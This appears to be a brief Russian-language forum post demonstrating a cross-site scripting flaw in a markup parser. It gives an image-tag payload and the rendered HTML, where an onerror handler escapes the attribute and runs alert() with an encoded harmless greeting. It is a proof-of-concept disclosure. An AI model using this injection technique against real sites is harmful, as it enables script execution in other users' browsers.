Вот XSS:
[![onerror=alert(String.fromCharCode(72,105,33,32,58,41))//]]
Результат:
<img class="txt" src="[x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//]" alt="!<a href="x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//">x onerror=alert(String.fromCharCode(72,105,33,32,58,41))//</a>" />
:)]